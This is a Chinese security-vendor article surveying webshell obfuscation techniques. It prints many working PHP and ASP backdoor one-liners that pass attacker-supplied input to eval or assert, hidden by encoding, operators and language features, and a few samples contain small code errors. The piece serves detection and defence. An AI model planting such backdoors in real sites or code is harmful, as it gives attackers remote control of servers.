未知攻焉知防 — Webshell變形技術集錦
作者: 郵箱投遞 2015年09月17日 23:17:02 8030 次閱讀來源: 安全狗
本文主要針對webshell變形技術進行一次總體的分析和提煉,歡迎交流。
0x1: 利用字符串變形技術改變隱祕特徵碼
傳統的shell免殺方式, 利用字符串函數以及字符串操作符, 將字符串進行多次分割、編碼、變形後再組裝成後門代碼然後調用執行.
簡單的字符串變形
<%
Function MorfiCoder(Code)
MorfiCoder=Replace(Replace(StrReverse(Code),”/*/”,””””),”\*\”,vbCrlf)
End Function
Execute MorfiCoder(“)/*/z/*/(tseuqer lave”)
%>
這段代碼將”eval request(//z//)”逆序成”)//z//(tseuqer lave”, 以逃避特徵碼查殺, 當腳本被訪問, 其代碼會被動態的解碼還原成原始的一句話後門. 當前90%以上的未知後門和變形後門都是使用此類動態解碼技術.
複雜的字符串組合
webshell1
//在一系列的複雜解碼操作之後, $Q 存儲了所有的後門代碼
$Q=str_replace(‘Do’,”,$b.$w.$K.$a.$H.$I.$A.$M.$t.$f.$S);
//$y=>create_function
$P=$y(”,$Q);$P();
//最後通過動態創建並調用函數變量$P, 得以觸發後門執行。
0x2:利用運算符變形
大部分的腳本語言中都有操作符. 不同的操作符對應的對象不同, 操作功能也各異. 這使得代碼變形有了更大的發揮空間.
PHP中的位運算符
webshell2
這些運算符都可以操作字符串!!!
簡單的按位取反, 獲取的後門代碼就是完全不可識別的。
webshell3
更多的運算符的組合搭配, 導致特徵碼完全不固定, 極其靈活.
<?php
//一句話密碼1987
$y=~督耽孩^'(1987)’;
var_dump($y);//string(6) “assert”
$y($_POST[1987]);
?>
0x3: 利用數據結構分散特徵碼
傳統的一句話木馬很容易被查殺. 但是在代碼多次變形之後, 就會變得肉眼難以識別. 除非藉助專門的工具, 否則很難分析出原始代碼.
原理: 將外部傳入數據,放入特定的數據結構中, 再以特定方式,抽取出變量組合成攻擊代碼, 從而分散特徵標識.
簡單的數組變形
<?php
$_ = array(“exp”=>$_GET[“a”]);
echo eval($_[“exp”]);
?>
PHP這類腳本語言因爲自身的靈活性, 導致變量名的識別難度增加, 攻擊者可以將傳入的參數放入數組中, 再賦值給這些迷惑性很高的變量名, 最後再進行調用.
複雜的數組變形
<?
$__C_C=”WlhaaGJDZ2tYMUJQVTFSYmVGMHBPdz09″;
$__P_P=”abcdefghijklmnopqrstuvwxyz”;
$__X_X=”123456789″;
$__O_O=$__X_X[5].$__X_X[3].”_”;
$__B_B=$__P_P{1}.$__P_P[0].$__P_P[18].$__P_P[4];
$__H_H=$__B_B.$__O_O.$__P_P[3].$__P_P[4].$__P_P[2].$__P_P[14].$__P_P[3].$__P_P[4];
$__E_E=$__P_P[4].$__P_P[21].$__P_P[0].$__P_P[11];
$__F_F=$__P_P[2].$__P_P[17].$__P_P[4].$__P_P[0].$__P_P[19].$__P_P[4];
$__F_F.=’_’.$__P_P[5].$__P_P[20].$__P_P[13].$__P_P[2].$__P_P[19].$__P_P[8].
$__P_P[14].$__P_P[13];
$_[00]=$__F_F(‘$__S_S’,$__E_E.'(“$__S_S”);’);
@$_[00]($__H_H($__H_H($__C_C)));
//解碼後即==> eval($_POST[x]);
?>
將關鍵字分散存儲在數組中, 再將其提取出來組合成關鍵函數名, 最後通過變量函數調用. 這類變形腳本的一個特徵就是——“反人類”。和正常的網頁腳本差距非常大,所以某個程度上說也其實也是最容易識別的。
0x4: 利用語言自帶變形函數增加複雜度
語言的函數越多,功能就越強大,代碼變形就越容易。多種函數混合+編碼轉換就是目前各種代碼外殼混淆加密算法的基礎。
str_rot13變形
<?php
eval(str_rot13(‘riny($_CBFG[cntr]);’));
//等同於eval($_POST[page]);
?>
base64加解密
<?php
function phpencode($code) {
$code = str_replace(array(‘<?php’,’?>’,'<?PHP’),array(”,”,”),$code);
$encode = base64_encode(gzdeflate($code));// 開始編碼
$encode = ‘<?php’.”\neval(gzinflate(base64_decode(“.”‘”.$encode.”‘”.”)));\n?>”;
return $encode;
}
function phpdecode($code) {
$code = str_replace(array(‘<!?php’,'<?PHP’,”eval(gzinflate(base64_decode(‘”,”‘)));”,’?>’),array(”,”,”,”,”,”),$code);
$decode = base64_decode($code);
$decode = @gzinflate($decode);
return $decode;
}
?>
urlencode加密轉換
<?php
$自由=$_REQUEST[a];
assert(${urldecode(“%E8%87%AA%E7%94%B1”)});
?>
utf8_encode
<?php
$自由=$_REQUEST[a];
$z=utf8_encode(“自由”);
$log=${utf8_decode($z)};
eval($log);
?>
編碼轉換千千萬萬, 組合方法更是千變萬化。目前市面上的大部分加密軟件都是以此爲基礎, 再進行深度加密。原因就是其免擴展,純綠色,適用範圍廣泛,混淆度高。再加上循環檢測機制可以做的極其複雜, 使得其在免殺shell中得到了非常廣泛的使用。
讓我們看一下加密前後的對比圖:
webshell4
肉眼已經無法識別,,不過仍可被安全狗“嘯天”引擎精準分析查殺哦。
0x5: 利用自定義函數增加代碼複雜度
webshell5
通過自定義的加解密函數, 可以將各種特徵碼標識完美的隱藏起來。這類加密被廣泛使用於大馬加密.
常見的有可逆加密和不可逆加密.
可逆加密, 即如上圖所示, 加密代碼只是爲了繞過特徵碼查殺, shell本身被獲取之後, 通過針對性的解密函數, 就可以獲取原文。
不可逆加密, 即通過DES,RSA這類非對稱的加密算法, 將shell全文加密之後, 攻擊者在訪問時, 通過用戶端提交的私鑰解碼出shell明文, 再繼續執行. 這樣就算加密shell被截獲, 也無法分析出shell原文。
0x6: 利用語言特性增加識別複雜度
一些語言特有的特性和函數, 可以被用來做代碼混淆。由於PHP特性太多,這裏只列舉幾個常用的.
正則替換函數執行代碼
preg_replace函數原型:
mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])
/e 修正符使 preg_replace() 將 replacement 參數當作PHP
代碼執行。
<?php
function header_error($str{
@preg_replace(“//e”,$_POST[‘IN_TEMPLATE_ERROR’],”Access Denied”);
}
?>
語法特性
花括號內執行代碼
<?php
$tk = array(“a”=>”assert”);
$a = “${ $tk[“a”]( $_GET[a])}”;
?>
Curly Syntax 漏洞利用
webshell6
常量
<?php
define(“ABC”,$_REQUEST[ABC]);
assert(ABC);
?>
動態創建函數
<?php
$x=”as{$_REQUEST[1]}e{$_REQUEST[2]}” ;
$x($_REQUEST[3]);
?>
序列化與反序列化特性
<?php
class Blog
{
var $vul = ”;
function __destruct()
{
eval($this->vul);
}
}
unserialize($_GET[‘name’]);
?>
index.php?name=O:7:”Example”:1:{s:3:”var”;s:10:”phpinfo();”;}
0x7: 利用高級語法特性
高級的語法特性在提高程序員生產力的同時, 也爲黑客提供了更多的便利。
反射機制
將後門代碼放到/**/註釋中,然後利用類的反射機制獲取到,最後進行動態函數的執行。此種手法的強大之處在於, 代碼以任意一種格式存在,極其靈活, 沒有行限制。
webshell7
類
將操作封裝成正常的類,再進行調用,和正常代碼基本無二,檢測和查殺難度進一步提升。
webshell8
總結:
從簡單的字符串變形到複雜的隨機字符串生成組合、從單文件的大馬到多文件的封裝調用;從可識別的一句話到網絡多重加密的非對稱後門;從基於腳本的功能堆積形後門到基於容器特性的隱蔽型遠控。伴隨這越來越多新技術的出現, webshell的特性和使用方式也會越來越多, 危害也也會越來越大。安全狗相信只有在動態對抗、 動態學習的機制下, 才能更好的應對未來黑客的攻擊。